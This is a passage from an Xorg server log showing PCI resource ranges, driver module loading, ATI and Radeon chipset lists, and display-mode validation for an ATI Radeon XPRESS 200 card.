(II) OS-reported resource ranges:
[0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
[1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B]
[2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B]
[3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B]
[4] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B]
[5] -1 0 0x00000000 - 0x000000ff (0x100) IX[B]
(II) PCI Memory resource overlap reduced 0xe0000000 from 0xffffffff to 0xdfffffff
(II) Active PCI resource ranges:
[0] -1 0 0xdffff000 - 0xdfffffff (0x1000) MX[B]
[1] -1 0 0xbffff800 - 0xbffffbff (0x400) MX[B]
[2] -1 0 0xbfff8000 - 0xbfffbfff (0x4000) MX[B]
[3] -1 0 0xbffffc00 - 0xbffffcff (0x100) MX[B]
[4] -1 0 0xbfffe000 - 0xbfffefff (0x1000) MX[B]
[5] -1 0 0xbfffd000 - 0xbfffdfff (0x1000) MX[B]
[6] -1 0 0xbfffc000 - 0xbfffcfff (0x1000) MX[B]
[7] -1 0 0xe0000000 - 0xdfffffff (0x0) MX[B]O
[8] -1 0 0xdfee0000 - 0xdfefffff (0x20000) MX[B](B)
[9] -1 0 0xc0000000 - 0xc000ffff (0x10000) MX[B](B)
[10] -1 0 0x80000000 - 0x8fffffff (0x10000000) MX[B](B)
[11] -1 0 0x0000e800 - 0x0000e8ff (0x100) IX[B]
[12] -1 0 0x0000c400 - 0x0000c40f (0x10) IX[B]
[13] -1 0 0x0000c480 - 0x0000c483 (0x4) IX[B]
[14] -1 0 0x0000c800 - 0x0000c807 (0x8) IX[B]
[15] -1 0 0x0000c880 - 0x0000c883 (0x4) IX[B]
[16] -1 0 0x0000cc00 - 0x0000cc07 (0x8) IX[B]
[17] -1 0 0x0000ff00 - 0x0000ff0f (0x10) IX[B]
[18] -1 0 0x0000d000 - 0x0000d0ff (0x100) IX[B](B)
(II) Active PCI resource ranges after removing overlaps:
[0] -1 0 0xdffff000 - 0xdfffffff (0x1000) MX[B]
[1] -1 0 0xbffff800 - 0xbffffbff (0x400) MX[B]
[2] -1 0 0xbfff8000 - 0xbfffbfff (0x4000) MX[B]
[3] -1 0 0xbffffc00 - 0xbffffcff (0x100) MX[B]
[4] -1 0 0xbfffe000 - 0xbfffefff (0x1000) MX[B]
[5] -1 0 0xbfffd000 - 0xbfffdfff (0x1000) MX[B]
[6] -1 0 0xbfffc000 - 0xbfffcfff (0x1000) MX[B]
[7] -1 0 0xe0000000 - 0xdfffffff (0x0) MX[B]O
[8] -1 0 0xdfee0000 - 0xdfefffff (0x20000) MX[B](B)
[9] -1 0 0xc0000000 - 0xc000ffff (0x10000) MX[B](B)
[10] -1 0 0x80000000 - 0x8fffffff (0x10000000) MX[B](B)
[11] -1 0 0x0000e800 - 0x0000e8ff (0x100) IX[B]
[12] -1 0 0x0000c400 - 0x0000c40f (0x10) IX[B]
[13] -1 0 0x0000c480 - 0x0000c483 (0x4) IX[B]
[14] -1 0 0x0000c800 - 0x0000c807 (0x8) IX[B]
[15] -1 0 0x0000c880 - 0x0000c883 (0x4) IX[B]
[16] -1 0 0x0000cc00 - 0x0000cc07 (0x8) IX[B]
[17] -1 0 0x0000ff00 - 0x0000ff0f (0x10) IX[B]
[18] -1 0 0x0000d000 - 0x0000d0ff (0x100) IX[B](B)
(II) OS-reported resource ranges after removing overlaps with PCI:
[0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
[1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B]
[2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B]
[3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B]
[4] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B]
[5] -1 0 0x00000000 - 0x000000ff (0x100) IX[B]
(II) All system resource ranges:
[0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
[1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B]
[2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B]
[3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B]
[4] -1 0 0xdffff000 - 0xdfffffff (0x1000) MX[B]
[5] -1 0 0xbffff800 - 0xbffffbff (0x400) MX[B]
[6] -1 0 0xbfff8000 - 0xbfffbfff (0x4000) MX[B]
[7] -1 0 0xbffffc00 - 0xbffffcff (0x100) MX[B]
[8] -1 0 0xbfffe000 - 0xbfffefff (0x1000) MX[B]
[9] -1 0 0xbfffd000 - 0xbfffdfff (0x1000) MX[B]
[10] -1 0 0xbfffc000 - 0xbfffcfff (0x1000) MX[B]
[11] -1 0 0xe0000000 - 0xdfffffff (0x0) MX[B]O
[12] -1 0 0xdfee0000 - 0xdfefffff (0x20000) MX[B](B)
[13] -1 0 0xc0000000 - 0xc000ffff (0x10000) MX[B](B)
[14] -1 0 0x80000000 - 0x8fffffff (0x10000000) MX[B](B)
[15] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B]
[16] -1 0 0x00000000 - 0x000000ff (0x100) IX[B]
[17] -1 0 0x0000e800 - 0x0000e8ff (0x100) IX[B]
[18] -1 0 0x0000c400 - 0x0000c40f (0x10) IX[B]
[19] -1 0 0x0000c480 - 0x0000c483 (0x4) IX[B]
[20] -1 0 0x0000c800 - 0x0000c807 (0x8) IX[B]
[21] -1 0 0x0000c880 - 0x0000c883 (0x4) IX[B]
[22] -1 0 0x0000cc00 - 0x0000cc07 (0x8) IX[B]
[23] -1 0 0x0000ff00 - 0x0000ff0f (0x10) IX[B]
[24] -1 0 0x0000d000 - 0x0000d0ff (0x100) IX[B](B)
(II) LoadModule: "i2c"
(II) Loading /usr/lib/xorg/modules/libi2c.so
(II) Module i2c: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.2.0
ABI class: X.Org Video Driver, version 1.0
(II) LoadModule: "bitmap"
(II) Reloading /usr/lib/xorg/modules/fonts/libbitmap.so
(II) Loading font Bitmap
(II) LoadModule: "ddc"
(II) Loading /usr/lib/xorg/modules/libddc.so
(II) Module ddc: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
ABI class: X.Org Video Driver, version 1.0
(II) LoadModule: "dri"
(II) Loading /usr/lib/xorg/modules/extensions/libdri.so
(II) Module dri: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
ABI class: X.Org Server Extension, version 0.3
(II) Loading sub module "drm"
(II) LoadModule: "drm"
(II) Loading /usr/lib/xorg/modules/linux/libdrm.so
(II) Module drm: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
ABI class: X.Org Server Extension, version 0.3
(II) Loading extension XFree86-DRI
(II) LoadModule: "extmod"
(II) Loading /usr/lib/xorg/modules/extensions/libextmod.so
(II) Module extmod: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
Module class: X.Org Server Extension
ABI class: X.Org Server Extension, version 0.3
(II) Loading extension SHAPE
(II) Loading extension MIT-SUNDRY-NONSTANDARD
(II) Loading extension BIG-REQUESTS
(II) Loading extension SYNC
(II) Loading extension MIT-SCREEN-SAVER
(II) Loading extension XC-MISC
(II) Loading extension XFree86-VidModeExtension
(II) Loading extension XFree86-Misc
(II) Loading extension XFree86-DGA
(II) Loading extension DPMS
(II) Loading extension TOG-CUP
(II) Loading extension Extended-Visual-Information
(II) Loading extension XVideo
(II) Loading extension XVideo-MotionCompensation
(II) Loading extension X-Resource
(II) LoadModule: "freetype"
(II) Loading /usr/lib/xorg/modules/fonts/libfreetype.so
(II) Module freetype: vendor="X.Org Foundation & the After X-TT Project"
compiled for 7.1.1, module version = 2.1.0
Module class: X.Org Font Renderer
ABI class: X.Org Font Renderer, version 0.5
(II) Loading font FreeType
(II) LoadModule: "glx"
(II) Loading /usr/lib/xorg/modules/extensions/libglx.so
(II) Module glx: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
ABI class: X.Org Server Extension, version 0.3
(==) AIGLX enabled
(II) Loading extension GLX
(II) LoadModule: "int10"
(II) Loading /usr/lib/xorg/modules/libint10.so
(II) Module int10: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
ABI class: X.Org Video Driver, version 1.0
(II) LoadModule: "vbe"
(II) Loading /usr/lib/xorg/modules/libvbe.so
(II) Module vbe: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.1.0
ABI class: X.Org Video Driver, version 1.0
(II) LoadModule: "ati"
(II) Loading /usr/lib/xorg/modules/drivers/ati_drv.so
(II) Module ati: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 6.6.3
Module class: X.Org Video Driver
ABI class: X.Org Video Driver, version 1.0
(II) LoadModule: "kbd"
(II) Loading /usr/lib/xorg/modules/input/kbd_drv.so
(II) Module kbd: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.1.0
Module class: X.Org XInput Driver
ABI class: X.Org XInput driver, version 0.6
(II) LoadModule: "mouse"
(II) Loading /usr/lib/xorg/modules/input/mouse_drv.so
(II) Module mouse: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.1.1
Module class: X.Org XInput Driver
ABI class: X.Org XInput driver, version 0.6
(II) ATI: ATI driver (version 6.6.3) for chipsets: ati, ativga
(II) R128: Driver for ATI Rage 128 chipsets:
ATI Rage 128 Mobility M3 LE (PCI), ATI Rage 128 Mobility M3 LF (AGP),
ATI Rage 128 Mobility M4 MF (AGP), ATI Rage 128 Mobility M4 ML (AGP),
ATI Rage 128 Pro GL PA (AGP?), ATI Rage 128 Pro GL PB (AGP?),
ATI Rage 128 Pro GL PC (AGP?), ATI Rage 128 Pro GL PD (PCI),
ATI Rage 128 Pro GL PE (AGP?), ATI Rage 128 Pro GL PF (AGP),
ATI Rage 128 Pro VR PG (AGP?), ATI Rage 128 Pro VR PH (AGP?),
ATI Rage 128 Pro VR PI (AGP?), ATI Rage 128 Pro VR PJ (AGP?),
ATI Rage 128 Pro VR PK (AGP?), ATI Rage 128 Pro VR PL (AGP?),
ATI Rage 128 Pro VR PM (AGP?), ATI Rage 128 Pro VR PN (AGP?),
ATI Rage 128 Pro VR PO (AGP?), ATI Rage 128 Pro VR PP (PCI),
ATI Rage 128 Pro VR PQ (AGP?), ATI Rage 128 Pro VR PR (PCI),
ATI Rage 128 Pro VR PS (AGP?), ATI Rage 128 Pro VR PT (AGP?),
ATI Rage 128 Pro VR PU (AGP?), ATI Rage 128 Pro VR PV (AGP?),
ATI Rage 128 Pro VR PW (AGP?), ATI Rage 128 Pro VR PX (AGP?),
ATI Rage 128 GL RE (PCI), ATI Rage 128 GL RF (AGP),
ATI Rage 128 RG (AGP), ATI Rage 128 VR RK (PCI),
ATI Rage 128 VR RL (AGP), ATI Rage 128 4X SE (AGP?),
ATI Rage 128 4X SF (AGP?), ATI Rage 128 4X SG (AGP?),
ATI Rage 128 4X SH (AGP?), ATI Rage 128 4X SK (AGP?),
ATI Rage 128 4X SL (AGP?), ATI Rage 128 4X SM (AGP),
ATI Rage 128 4X SN (AGP?), ATI Rage 128 Pro ULTRA TF (AGP),
ATI Rage 128 Pro ULTRA TL (AGP), ATI Rage 128 Pro ULTRA TR (AGP),
ATI Rage 128 Pro ULTRA TS (AGP?), ATI Rage 128 Pro ULTRA TT (AGP?),
ATI Rage 128 Pro ULTRA TU (AGP?)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
ATI Radeon VE/7000 QY (AGP/PCI), ATI Radeon VE/7000 QZ (AGP/PCI),
ATI ES1000 515E (PCI), ATI ES1000 5969 (PCI),
ATI Radeon Mobility M7 LW (AGP),
ATI Mobility FireGL 7800 M7 LX (AGP),
ATI Radeon Mobility M6 LY (AGP), ATI Radeon Mobility M6 LZ (AGP),
ATI Radeon IGP320 (A3) 4136, ATI Radeon IGP320M (U1) 4336,
ATI Radeon IGP330/340/350 (A4) 4137,
ATI Radeon IGP330M/340M/350M (U2) 4337,
ATI Radeon 7000 IGP (A4+) 4237, ATI Radeon Mobility 7000 IGP 4437,
ATI FireGL 8700/8800 QH (AGP), ATI Radeon 8500 QL (AGP),
ATI Radeon 9100 QM (AGP), ATI Radeon 8500 AIW BB (AGP),
ATI Radeon 8500 AIW BC (AGP), ATI Radeon 7500 QW (AGP/PCI),
ATI Radeon 7500 QX (AGP/PCI), ATI Radeon 9000/PRO If (AGP/PCI),
ATI Radeon 9000 Ig (AGP/PCI), ATI FireGL Mobility 9000 (M9) Ld (AGP),
ATI Radeon Mobility 9000 (M9) Lf (AGP),
ATI Radeon Mobility 9000 (M9) Lg (AGP),
ATI Radeon 9100 IGP (A5) 5834,
ATI Radeon Mobility 9100 IGP (U3) 5835, ATI Radeon 9100 PRO IGP 7834,
ATI Radeon Mobility 9200 IGP 7835, ATI Radeon 9250 5960 (AGP),
ATI Radeon 9200 5961 (AGP), ATI Radeon 9200 5962 (AGP),
ATI Radeon 9200SE 5964 (AGP), ATI FireMV 2200 (PCI),
ATI Radeon Mobility 9200 (M9+) 5C61 (AGP),
ATI Radeon Mobility 9200 (M9+) 5C63 (AGP), ATI Radeon 9500 AD (AGP),
ATI Radeon 9500 AE (AGP), ATI Radeon 9600TX AF (AGP),
ATI FireGL Z1 AG (AGP), ATI Radeon 9700 Pro ND (AGP),
ATI Radeon 9700/9500Pro NE (AGP), ATI Radeon 9600TX NF (AGP),
ATI FireGL X1 NG (AGP), ATI Radeon 9600 AP (AGP),
ATI Radeon 9600SE AQ (AGP), ATI Radeon 9600XT AR (AGP),
ATI Radeon 9600 AS (AGP), ATI FireGL T2 AT (AGP),
ATI FireGL RV360 AV (AGP),
ATI Radeon Mobility 9600/9700 (M10/M11) NP (AGP),
ATI Radeon Mobility 9600 (M10) NQ (AGP),
ATI Radeon Mobility 9600 (M11) NR (AGP),
ATI Radeon Mobility 9600 (M10) NS (AGP),
ATI FireGL Mobility T2 (M10) NT (AGP),
ATI FireGL Mobility T2e (M11) NV (AGP), ATI Radeon 9650,
ATI Radeon 9800SE AH (AGP), ATI Radeon 9800 AI (AGP),
ATI Radeon 9800 AJ (AGP), ATI FireGL X2 AK (AGP),
ATI Radeon 9800PRO NH (AGP), ATI Radeon 9800 NI (AGP),
ATI FireGL X2 NK (AGP), ATI Radeon 9800XT NJ (AGP),
ATI Radeon X600 (RV380) 3E50 (PCIE),
ATI FireGL V3200 (RV380) 3E54 (PCIE),
ATI Radeon Mobility X600 (M24) 3150 (PCIE),
ATI Radeon Mobility X300 (M24) 3152 (PCIE),
ATI FireGL M24 GL 3154 (PCIE), ATI Radeon X300 (RV370) 5B60 (PCIE),
ATI Radeon X600 (RV370) 5B62 (PCIE),
ATI Radeon X550 (RV370) 5B63 (PCIE),
ATI FireGL V3100 (RV370) 5B64 (PCIE),
ATI FireMV 2200 PCIE (RV370) 5B65 (PCIE),
ATI Radeon Mobility X300 (M22) 5460 (PCIE),
ATI Radeon Mobility X600 SE (M24C) 5462 (PCIE),
ATI FireGL M22 GL 5464 (PCIE), ATI Radeon XPRESS 200 5A41 (PCIE),
ATI Radeon XPRESS 200M 5A42 (PCIE),
ATI Radeon XPRESS 200 5A61 (PCIE),
ATI Radeon XPRESS 200M 5A62 (PCIE),
ATI Radeon XPRESS 200 5954 (PCIE),
ATI Radeon XPRESS 200M 5955 (PCIE),
ATI Radeon XPRESS 200 5974 (PCIE),
ATI Radeon XPRESS 200M 5975 (PCIE), ATI FireGL V5000 (RV410) (PCIE),
ATI Mobility FireGL V5000 (M26) (PCIE),
ATI Mobility FireGL V5000 (M26) (PCIE),
ATI Mobility Radeon X700 XL (M26) (PCIE),
ATI Mobility Radeon X700 (M26) (PCIE),
ATI Mobility Radeon X700 (M26) (PCIE),
ATI Radeon X700 PRO (RV410) (PCIE),
ATI Radeon X700 XT (RV410) (PCIE), ATI Radeon X700 (RV410) (PCIE),
ATI Radeon X700 SE (RV410) (PCIE), ATI Radeon X700 SE (RV410) (PCIE),
ATI Radeon X800 (R420) JH (AGP), ATI Radeon X800PRO (R420) JI (AGP),
ATI Radeon X800SE (R420) JJ (AGP), ATI Radeon X800 (R420) JK (AGP),
ATI Radeon X800 (R420) JL (AGP), ATI FireGL X3 (R420) JM (AGP),
ATI Radeon Mobility 9800 (M18) JN (AGP),
ATI Radeon X800XT (R420) JP (AGP), ATI Radeon X800 SE (R420) (AGP),
ATI Radeon AIW X800 VE (R420) JT (AGP),
ATI Radeon X800 (R423) UH (PCIE),
ATI Radeon X800PRO (R423) UI (PCIE),
ATI Radeon X800LE (R423) UJ (PCIE),
ATI Radeon X800SE (R423) UK (PCIE),
ATI FireGL V5100 (R423) UQ (PCIE),
ATI FireGL unknown (R423) UR (PCIE),
ATI FireGL unknown (R423) UT (PCIE),
ATI Radeon X800XT (R423) 5D57 (PCIE), ATI FireGL V7100 (R423) (PCIE),
ATI Mobility FireGL V5100 (M28) (PCIE),
ATI Mobility Radeon X800 (M28) (PCIE),
ATI Mobility Radeon X800 XT (M28) (PCIE),
ATI Radeon X800 (R430) (PCIE), ATI Radeon X800 XL (R430) (PCIE),
ATI Radeon X800 SE (R430) (PCIE), ATI Radeon X800 XTP (R430) (PCIE),
ATI Radeon X850 5D4C (PCIE),
ATI unknown Radeon / FireGL (R480) 5D50 (PCIE),
ATI Radeon X850 SE (R480) (PCIE), ATI Radeon X850 PRO (R480) (PCIE),
ATI Radeon X850 XT (R480) (PCIE),
ATI Radeon X850 XT PE (R480) (PCIE),
ATI Radeon X850 PRO (R480) (AGP), ATI Radeon X850 SE (R480) (AGP),
ATI Radeon X850 XT (R480) (AGP), ATI Radeon X850 XT PE (R480) (AGP)
(II) Primary Device is: PCI 01:05:0
(II) ATI: Candidate "Device" section "ATI Technologies Inc RC410 [Radeon Xpress 200]".
(--) Chipset ATI Radeon XPRESS 200 5A61 (PCIE) found
(II) resource ranges after xf86ClaimFixedResources() call:
[0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
[1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B]
[2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B]
[3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B]
[4] -1 0 0xdffff000 - 0xdfffffff (0x1000) MX[B]
[5] -1 0 0xbffff800 - 0xbffffbff (0x400) MX[B]
[6] -1 0 0xbfff8000 - 0xbfffbfff (0x4000) MX[B]
[7] -1 0 0xbffffc00 - 0xbffffcff (0x100) MX[B]
[8] -1 0 0xbfffe000 - 0xbfffefff (0x1000) MX[B]
[9] -1 0 0xbfffd000 - 0xbfffdfff (0x1000) MX[B]
[10] -1 0 0xbfffc000 - 0xbfffcfff (0x1000) MX[B]
[11] -1 0 0xe0000000 - 0xdfffffff (0x0) MX[B]O
[12] -1 0 0xdfee0000 - 0xdfefffff (0x20000) MX[B](B)
[13] -1 0 0xc0000000 - 0xc000ffff (0x10000) MX[B](B)
[14] -1 0 0x80000000 - 0x8fffffff (0x10000000) MX[B](B)
[15] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B]
[16] -1 0 0x00000000 - 0x000000ff (0x100) IX[B]
[17] -1 0 0x0000e800 - 0x0000e8ff (0x100) IX[B]
[18] -1 0 0x0000c400 - 0x0000c40f (0x10) IX[B]
[19] -1 0 0x0000c480 - 0x0000c483 (0x4) IX[B]
[20] -1 0 0x0000c800 - 0x0000c807 (0x8) IX[B]
[21] -1 0 0x0000c880 - 0x0000c883 (0x4) IX[B]
[22] -1 0 0x0000cc00 - 0x0000cc07 (0x8) IX[B]
[23] -1 0 0x0000ff00 - 0x0000ff0f (0x10) IX[B]
[24] -1 0 0x0000d000 - 0x0000d0ff (0x100) IX[B](B)
(II) Loading sub module "radeon"
(II) LoadModule: "radeon"
(II) Loading /usr/lib/xorg/modules/drivers/radeon_drv.so
(II) Module radeon: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 4.2.0
Module class: X.Org Video Driver
ABI class: X.Org Video Driver, version 1.0
(II) resource ranges after probing:
[0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
[1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B]
[2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B]
[3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B]
[4] -1 0 0xdffff000 - 0xdfffffff (0x1000) MX[B]
[5] -1 0 0xbffff800 - 0xbffffbff (0x400) MX[B]
[6] -1 0 0xbfff8000 - 0xbfffbfff (0x4000) MX[B]
[7] -1 0 0xbffffc00 - 0xbffffcff (0x100) MX[B]
[8] -1 0 0xbfffe000 - 0xbfffefff (0x1000) MX[B]
[9] -1 0 0xbfffd000 - 0xbfffdfff (0x1000) MX[B]
[10] -1 0 0xbfffc000 - 0xbfffcfff (0x1000) MX[B]
[11] -1 0 0xe0000000 - 0xdfffffff (0x0) MX[B]O
[12] -1 0 0xdfee0000 - 0xdfefffff (0x20000) MX[B](B)
[13] -1 0 0xc0000000 - 0xc000ffff (0x10000) MX[B](B)
[14] -1 0 0x80000000 - 0x8fffffff (0x10000000) MX[B](B)
[15] 0 0 0x000a0000 - 0x000affff (0x10000) MS[B]
[16] 0 0 0x000b0000 - 0x000b7fff (0x8000) MS[B]
[17] 0 0 0x000b8000 - 0x000bffff (0x8000) MS[B]
[18] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B]
[19] -1 0 0x00000000 - 0x000000ff (0x100) IX[B]
[20] -1 0 0x0000e800 - 0x0000e8ff (0x100) IX[B]
[21] -1 0 0x0000c400 - 0x0000c40f (0x10) IX[B]
[22] -1 0 0x0000c480 - 0x0000c483 (0x4) IX[B]
[23] -1 0 0x0000c800 - 0x0000c807 (0x8) IX[B]
[24] -1 0 0x0000c880 - 0x0000c883 (0x4) IX[B]
[25] -1 0 0x0000cc00 - 0x0000cc07 (0x8) IX[B]
[26] -1 0 0x0000ff00 - 0x0000ff0f (0x10) IX[B]
[27] -1 0 0x0000d000 - 0x0000d0ff (0x100) IX[B](B)
[28] 0 0 0x000003b0 - 0x000003bb (0xc) IS[B]
[29] 0 0 0x000003c0 - 0x000003df (0x20) IS[B]
(II) Setting vga for screen 0.
(**) RADEON(0): RADEONPreInit
(II) RADEON(0): MMIO registers at 0xc0000000: size 64KB
(II) RADEON(0): PCI bus 1 card 5 func 0
(**) RADEON(0): Depth 16, (--) framebuffer bpp 16
(II) RADEON(0): Pixel depth = 16 bits stored in 2 bytes (16 bpp pixmaps)
(==) RADEON(0): Default visual is TrueColor
(II) Loading sub module "vgahw"
(II) LoadModule: "vgahw"
(II) Loading /usr/lib/xorg/modules/libvgahw.so
(II) Module vgahw: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 0.1.0
ABI class: X.Org Video Driver, version 1.0
(II) RADEON(0): vgaHWGetIOBase: hwp->IOBase is 0x03d0, hwp->PIOOffset is 0x0000
(==) RADEON(0): RGB weight 565
(II) RADEON(0): Using 6 bits per RGB (8 bit DAC)
(++) RADEON(0): "-dpi 96" given in command line, assuming "ConstantDPI" set
(++) RADEON(0): X server will keep DPI constant for all screen sizes
(II) Loading sub module "int10"
(II) LoadModule: "int10"
(II) Reloading /usr/lib/xorg/modules/libint10.so
(II) RADEON(0): initializing int10
(II) Loading sub module "vm86"
(II) LoadModule: "vm86"
(II) Loading /usr/lib/xorg/modules/libvm86.so
(II) Module vm86: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
ABI class: X.Org Video Driver, version 1.0
(II) RADEON(0): Primary V_BIOS segment is: 0xc000
(--) RADEON(0): Chipset: "ATI Radeon XPRESS 200 5A61 (PCIE)" (ChipID = 0x5a61)
(--) RADEON(0): Linear framebuffer at 0x80000000
(--) RADEON(0): BIOS at 0xdfee0000
(II) RADEON(0): PCI card detected
(II) RADEON(0): Direct rendering broken on XPRESS 200 and 200M
(II) RADEON(0): Detected total video RAM=131072K, accessible=262144K (PCI BAR=262144K)
(--) RADEON(0): Mapped VideoRAM: 131072 kByte (256 bit DDR SDRAM)
(II) RADEON(0): Color tiling enabled by default
(II) Loading sub module "ddc"
(II) LoadModule: "ddc"
(II) Reloading /usr/lib/xorg/modules/libddc.so
(II) Loading sub module "i2c"
(II) LoadModule: "i2c"
(II) Reloading /usr/lib/xorg/modules/libi2c.so
(II) RADEON(0): I2C bus "DDC" initialized.
(II) RADEON(0): Legacy BIOS detected
(II) RADEON(0): Connector0: DDCType-4, DACType-0, TMDSType--1, ConnectorType-2
(II) RADEON(0): DDC Type: 4, Detected Type: 0
(II) RADEON(0):
(II) RADEON(0): Primary:
Monitor -- NONE
Connector -- VGA
DAC Type -- Primary
TMDS Type -- NONE
DDC Type -- CRT2_DDC
(II) RADEON(0): Secondary:
Monitor -- NONE
Connector -- None
DAC Type -- Unknown
TMDS Type -- NONE
DDC Type -- NONE
(II) RADEON(0): PLL parameters: rf=1432 rd=6 min=20000 max=40000; xclk=26600
(WW) RADEON(0): Failed to detect secondary monitor, MergedFB/Clone mode disabled
(==) RADEON(0): Using gamma correction (1.0, 1.0, 1.0)
(II) RADEON(0): Validating modes on Primary head ---------
(II) RADEON(0): PnP Monitor: Using default hsync range of 28.00-33.00 kHz
(II) RADEON(0): PnP Monitor: Using default vrefresh range of 43.00-72.00 Hz
(II) RADEON(0): Clock range: 20.00 to 400.00 MHz
(II) RADEON(0): Not using default mode "640x350" (hsync out of range)
(II) RADEON(0): Not using default mode "320x175" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "640x400" (hsync out of range)
(II) RADEON(0): Not using default mode "320x200" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "720x400" (hsync out of range)
(II) RADEON(0): Not using default mode "360x200" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "640x480" (hsync out of range)
(II) RADEON(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "640x480" (hsync out of range)
(II) RADEON(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "640x480" (hsync out of range)
(II) RADEON(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "800x600" (hsync out of range)
(II) RADEON(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "800x600" (hsync out of range)
(II) RADEON(0): Not using default mode "400x300" (hsync out of range)
(II) RADEON(0): Not using default mode "800x600" (hsync out of range)
(II) RADEON(0): Not using default mode "400x300" (hsync out of range)
(II) RADEON(0): Not using default mode "800x600" (hsync out of range)
(II) RADEON(0): Not using default mode "400x300" (hsync out of range)
(II) RADEON(0): Not using default mode "800x600" (hsync out of range)
(II) RADEON(0): Not using default mode "400x300" (hsync out of range)
(II) RADEON(0): Not using default mode "1024x768" (hsync out of range)
(II) RADEON(0): Not using default mode "512x384" (hsync out of range)
(II) RADEON(0): Not using default mode "1024x768" (hsync out of range)
(II) RADEON(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1024x768" (hsync out of range)
(II) RADEON(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1024x768" (hsync out of range)
(II) RADEON(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1024x768" (hsync out of range)
(II) RADEON(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1152x864" (hsync out of range)
(II) RADEON(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1280x960" (hsync out of range)
(II) RADEON(0): Not using default mode "640x480" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1280x960" (hsync out of range)
(II) RADEON(0): Not using default mode "640x480" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1280x1024" (hsync out of range)
(II) RADEON(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1280x1024" (hsync out of range)
(II) RADEON(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1280x1024" (hsync out of range)
(II) RADEON(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1600x1200" (hsync out of range)
(II) RADEON(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1600x1200" (hsync out of range)
(II) RADEON(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1600x1200" (hsync out of range)
(II) RADEON(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1600x1200" (hsync out of range)
(II) RADEON(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1600x1200" (hsync out of range)
(II) RADEON(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1792x1344" (hsync out of range)
(II) RADEON(0): Not using default mode "896x672" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1792x1344" (hsync out of range)
(II) RADEON(0): Not using default mode "896x672" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1856x1392" (hsync out of range)
(II) RADEON(0): Not using default mode "928x696" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1856x1392" (hsync out of range)
(II) RADEON(0): Not using default mode "928x696" (bad mode clock/interlace/doublescan)
